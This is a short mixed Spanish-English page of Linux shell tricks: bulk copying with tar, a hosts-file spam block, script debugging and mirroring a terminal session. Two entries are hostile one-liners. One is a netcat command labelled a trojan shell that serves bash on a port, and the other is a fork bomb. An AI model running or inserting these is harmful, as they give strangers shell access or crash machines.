Tabla de Contenidos
Trucos Gurú
Trojan inverse shell
nc -l -p 2000 -e /bin/bash
Bulk copy
Copy large blocks of data between File Systems (run as root iff you do not own all of the files\!)
tar cpof - src |( cd des; tar xpof -)
Block the 6700 worst spamhosts
wget -q -O - http://someonewhocares.org/hosts/ | grep ^127 >> /etc/hosts
Debug bash shell scripts.
bash -x SCRIPT
Fork bomb (dont actually execute)
:(){ :|:& };:
Para ver una sesion de trabajo de una terminal desde otra
En la terminal 1 teclear:
mkfifo log;script -f log
En la terminal 2 teclear
cat log
Ojo: Mientras no se haga el ‘cat log’ en la terminal 2 no se podra continuar en la terminal 1.